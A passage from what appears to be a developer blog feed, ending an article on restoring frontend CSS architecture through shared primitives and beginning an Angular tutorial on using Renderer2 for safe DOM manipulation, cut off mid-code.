&lt;p&gt;Unlike a refactor that fails loudly, styling debt often survives because each local decision makes sense when viewed in isolation. Over time, however, the application develops an invisible split personality. It has “official” components and “practical” components. It has “shared styles” and “the real styles that actually win in production.” It has consistency in theory and variation in practice. At that point, the team usually starts asking the wrong question. They ask, “Should we clean up SCSS?” or “Should we move to Tailwind?” or “Should we get rid of global styles?” &lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;The warning signs that matter&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;A broken styling architecture rarely announces itself with one catastrophic bug. It reveals itself through friction. The strongest warning sign is not visual inconsistency by itself. Mature products often have legitimate variation. The strongest warning sign is that developers need to know too much internal detail in order to style a basic control safely. If a developer has to remember the internal DOM structure of a third party checkbox component, or the exact selector required to override a library label, or whether a certain control should be changed in a global theme file instead of a wrapper component, the architecture is already leaking.&lt;/p&gt;

&lt;p&gt;That kind of leak is expensive because it distributes responsibility downward. Instead of having one stable place where the checkbox lives as a product decision, the application spreads checkbox behavior across templates, wrappers, overrides, library classes, and exceptions. The same usually happens with inputs, selects, and buttons. Once those foundations drift, every feature built on top of them becomes harder to reason about.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;What the destination should feel like&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;The most important outcome of a CSS recovery effort is not prettier code. It is restored trust. When trust exists, a developer can open the codebase and make a styling change with a reasonable expectation of what else it will affect. A product designer can request a form refresh without triggering a month of regressions. A new team member can infer where a style belongs because the architecture teaches them by example. Even exceptions become manageable, because they are clearly exceptions rather than secret rules.&lt;/p&gt;

&lt;p&gt;The first layer is the foundation: design tokens, typography, spacing scale, color roles, border radii, elevation, motion. These are the values that give the product a consistent visual language. They should be stable, semantic, and boring. If color or spacing values are still scattered as raw numbers throughout the app, the system has not yet found its center.&lt;/p&gt;

&lt;p&gt;The second layer is primitives: the actual controls the application relies on every day. This is where buttons, inputs, selects, checkboxes, labels, and validation patterns belong. Whether they are implemented with plain HTML, wrapped around a component library, or partially themed through one is less important than this fact: the rest of the application should not need to care. A checkbox should arrive as a reliable product primitive, not as a styling opportunity.&lt;/p&gt;

&lt;p&gt;The third layer is composition: shared UI patterns and feature screens. This is where a consent block, settings row, profile form section, payment card, or alert panel becomes specific to product needs. Composition should use primitives, not redefine them. A feature page may choose arrangement, content, density, or emphasis, but it should not quietly invent a new checkbox standard because the page stylesheet made that convenient.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;A small example of the real difference&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Here is a tiny example that captures the deeper issue. In a drifting codebase, a checkbox often appears like this in one component:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;library&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="na"&gt;checkbox&lt;/span&gt; &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"terms-checkbox"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  I agree to the terms
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;library&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="na"&gt;checkbox&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="c1"&gt;// ----&lt;/span&gt;
&lt;span class="c1"&gt;// local styles&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;terms&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;checkbox&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;margin&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="nx"&gt;px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;host&lt;/span&gt; &lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nx"&gt;ng&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;deep&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;library&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;checkbox&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;label&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="nx"&gt;px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;line&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="nx"&gt;px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At first glance, this does not look terrible. It is short. It ships. It solves the screen. But it quietly pushes product decisions into the wrong place. The feature page now owns checkbox spacing, label typography, and knowledge of the third party component’s internal structure. If five pages do this differently, the application has five checkbox definitions whether anyone admits it or not. The healthier version is not healthier because it is prettier. It is healthier because responsibility moves back to the primitive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;app&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="na"&gt;checkbox&lt;/span&gt; &lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="na"&gt;invalid&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"submitted &amp;amp;&amp;amp; control.invalid"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  I agree to the terms
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;app&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="na"&gt;checkbox&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="c1"&gt;// ---- &lt;/span&gt;
&lt;span class="c1"&gt;// global styles&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ui&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;checkbox&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;grid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;grid&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;template&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;auto&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nx"&gt;fr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;gap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;var&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nx"&gt;space&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;align&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;var&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nx"&gt;color&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;var&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;sm&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;strong&gt;Start where inconsistency hurts the most&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;If I were leading this effort, I would not start with the flashiest screen or the worst stylesheet. I would start with the controls that repeat so often that their inconsistency silently infects the whole product. That usually means the same short list: buttons, inputs, selects, checkboxes, field labels, and validation states.&lt;/p&gt;

&lt;p&gt;These controls are deceptively small, but they shape almost every workflow. They appear in onboarding, settings, verification, payments, preferences, support flows, and edge case recovery screens. When they drift, the application feels unstable even if the layouts themselves are fine. When they are standardized, the product suddenly feels more polished even before the larger redesign work begins.&lt;/p&gt;

&lt;p&gt;If the application uses raw library checkboxes in twenty places and one shared checkbox-like component in five other places, I would not try to normalize them all by editing twenty-five screens immediately. I would create one stable checkbox primitive with a product-level API and begin routing new work through it.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;The migration succeeds or fails on API design&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Teams often think of shared UI primitives as styling work, but they are really API design work. The reason so many “shared components” fail to gain adoption is not that their CSS is bad. It is that their API is awkward. If using the shared checkbox means fighting its inputs, working around its markup rules, or losing flexibility in rich-label cases, developers will bypass it the first time a deadline gets tight.&lt;/p&gt;

&lt;p&gt;So the primitive must be designed around real use cases, not idealized demos. A checkbox, for example, is not just a square with a label. In a mature product, it often has to support long text, linked text, validation, hint content, disabled states, analytics hooks, form integration, and alignment that still works when the label wraps to multiple lines. If one of the existing flows already solved some of that well, I would use it as evidence. Not because that flow is perfect, but because it proves the product has already discovered what the primitive actually needs to do.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;The hardest part is global CSS&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Every large frontend has a file or folder that became more important than anyone intended. Sometimes it is a theme file for the component library. Sometimes it is a&amp;nbsp;&lt;strong&gt;&lt;code&gt;forms.scss&lt;/code&gt;&lt;/strong&gt;,&amp;nbsp;&lt;strong&gt;&lt;code&gt;material-overrides.scss&lt;/code&gt;&lt;/strong&gt;, or&amp;nbsp;&lt;strong&gt;&lt;code&gt;global.scss&lt;/code&gt;&lt;/strong&gt;&amp;nbsp;that began life as a legitimate foundation and gradually became the emergency department for the entire UI. The team knows it is risky, but it also knows that changing one selector there can solve three screens at once. That is exactly why it becomes dangerous. I would not try to delete global CSS early in the migration. That usually creates panic and replacement churn. Instead, I would change its job description.&lt;/p&gt;

&lt;p&gt;Global CSS should define what is globally true. It should own tokens, resets, typography foundations, layout constraints that truly belong to the whole shell, and limited app-wide theming. What it should not own is the local survival strategy of individual controls. That means if a checkbox needs special label spacing, the fix should eventually live in the checkbox primitive. If one kind of input has special error presentation, that should eventually live in the field or input primitive. If a select needs a custom icon or density variant, that should be part of the primitive’s contract, not a side effect of a global selector targeting internal library classes.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;What the first visible wins usually look like&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;A product designer asks for updated checkbox spacing and the team can implement it in one place. A validation redesign lands across several forms without every page needing local tweaks. A new settings section ships and feels consistent with older screens because it uses the shared field primitives by default. Developers start removing deep selectors not because a rule forbids them, but because they no longer need them as often.&lt;/p&gt;

&lt;p&gt;That kind of momentum matters. CSS recovery is partly technical and partly psychological. The team needs proof that the new path is easier than the old one. If the shared components feel slower, people will drift back to direct styling. If they feel like relief, adoption becomes self-reinforcing.&lt;/p&gt;

&lt;p&gt;This is why I would avoid introducing too many abstraction layers at once. The first generation of primitives should not try to encode every future design-system dream. They should solve the current product’s repeated pain points clearly enough that developers trust them. Once that trust exists, the system can evolve.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;And only then does the Tailwind question become interesting&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;By this stage, the Tailwind conversation becomes much more productive. Before the migration, Tailwind would have been a debate about taste and tooling. During the migration, it would have risked becoming another parallel styling language. After the primitives and ownership model start to stabilize, it becomes a real architectural choice.&lt;/p&gt;

&lt;p&gt;At that point the team can ask much sharper questions. Do we want utilities mainly for layout and composition while keeping primitives encapsulated? Do we want to express tokens through utility classes? Do we want Tailwind to reduce the volume of one-off page styles, but not replace shared components? Can we keep markup readable and component APIs clear? Do we have enough discipline to avoid mixing utilities, local SCSS, and deep third-party overrides in the same feature?&lt;/p&gt;

&lt;p&gt;So if I were telling this story publicly, I would frame Tailwind not as the rescue plan, but as a potential late-stage accelerator. The rescue plan is still the same: define primitives, wrap unstable dependencies, shrink the global blast radius, and migrate by steady adoption rather than heroic cleanup. That is how large frontends usually recover. Not by one rewrite, but by a series of decisions that make the right thing easier and the wrong thing less necessary.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>css</category>
    </item>
    <item>
      <title>Angular - Power Of Renderer2</title>
      <dc:creator>Eduard Krivanek</dc:creator>
      <pubDate>Sat, 21 Mar 2026 08:59:36 +0000</pubDate>
      <link>https://dev.to/krivanek06/angular-power-of-renderer2-3ap8</link>
      <guid>https://dev.to/krivanek06/angular-power-of-renderer2-3ap8</guid>
      <description>&lt;p&gt;When we build apps with Angular, we usually stay inside the world of templates and signals. It works great for almost everything. But sometimes you hit a wall and need a lower level access to build a custom tooltip, a complex file generator, or a special pagination system. In those moments, you might want to use "document" or "nativeElement" to change a color or move an element. However, doing this can break your app. Renderer2 lets you talk to the webpage safely.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Direct DOM Access Is Risky
&lt;/h3&gt;

&lt;p&gt;It is easy to write &lt;code&gt;document.getElementById&lt;/code&gt; in a component, but that habit can cause three major problems:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. The Server Side Challenge&lt;/strong&gt;&lt;br&gt;
Many modern apps use Server Side Rendering or SSR. This means your app starts running on a server before it ever reaches a user's browser. A server does not have a "window" or a "document" because there is no actual screen there. If your code tries to find a button using the global document while it is running on the server, your whole application will crash. Renderer2 is smart. It knows if it is running on a server or in a browser, and it ensures your code does not cause a crash.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Security and XSS&lt;/strong&gt;&lt;br&gt;
Web security is a top priority. If you use something like innerHTML to inject content, you might accidentally open a door for hackers. This is called Cross Site Scripting or XSS. They can inject sneaky scripts into your site to steal data. Angular is very good at blocking these attacks, but it can only protect you if you use its official tools. Renderer2 helps keep your app safe by handling these changes in a secure, sanitized way.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Testing Your Code&lt;/strong&gt;&lt;br&gt;
We want our tests to be fast and reliable. If your component is tied directly to the browser DOM, it becomes very difficult to test in different environments. By using the tools Angular provides, you can "mock" or fake the webpage during your tests. This makes your testing process much smoother and ensures your code works perfectly before it goes live.&lt;/p&gt;

&lt;p&gt;Renderer2 is an "abstraction." This just means it is a middleman that talks to the DOM for you. You do not have to worry about whether the app is on a phone, a server, or a browser. To start using it in a modern component or directive, you just inject it along with the &lt;code&gt;ElementRef&lt;/code&gt; or use the &lt;code&gt;DOCUMENT&lt;/code&gt; injection token to access HTML elements.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Renderer2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;viewChild&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-custom-style&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;standalone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;div #myBox&amp;gt;Target Box&amp;lt;/div&amp;gt;`&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;MyComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;renderer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Renderer2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;box&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;viewChild&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;myBox&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;applyStyle&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;el&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;box&lt;/span&gt;&lt;span class="p"&gt;()?.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;background-color&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;blue&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Renderer2 gives you a set of tools that cover almost everything you would ever need to do to a webpage. Here are the ones we use most often:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;createElement&lt;/strong&gt;: Build a new HTML tag from scratch without using messy strings.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;createText&lt;/strong&gt;: Add plain text inside your elements.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;appendChild&lt;/strong&gt;: Take a new element and put it inside another one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;setStyle and removeStyle&lt;/strong&gt;: Change colors, margins, or animations on the fly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;addClass and removeClass&lt;/strong&gt;: The best way to handle CSS transitions and dark mode themes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Using &lt;code&gt;addClass&lt;/code&gt; is usually better than &lt;code&gt;setStyle&lt;/code&gt; because it keeps your design logic inside your CSS files where it belongs. I have used this many times when building custom UI like a YAML file generator or a custom pagination component. When you are parsing complex data and need to show it on the screen, these methods keep your code clean and easy to read.&lt;/p&gt;

&lt;p&gt;One useful example I like to always go with is a clickable element directive. This is a common task when you want to add special behavior to a button or a div without breaking the way the page works. By using the renderer to add or remove classes based on user interaction, you keep the DOM manipulation safe and clean. It is a much better way to handle "active" states or ripple effects than trying to manage every single CSS change through a complex template binding. You can read the &lt;a href="https://dev.to/krivanek06/angular-clickable-component-4o3d"&gt;full example here&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Directive&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Renderer2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ElementRef&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Directive&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[appClickable]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;standalone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;(click)&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;onElementClick($event)&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;(mouseenter)&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;onHover()&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[class.is-active]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;active()&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ClickableDirective&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;el&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;renderer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Renderer2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// We can use signals for state&lt;/span&gt;
  &lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nx"&gt;active&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;onElementClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;MouseEvent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;active&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;active&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="c1"&gt;// Using renderer to set a style safely&lt;/span&gt;
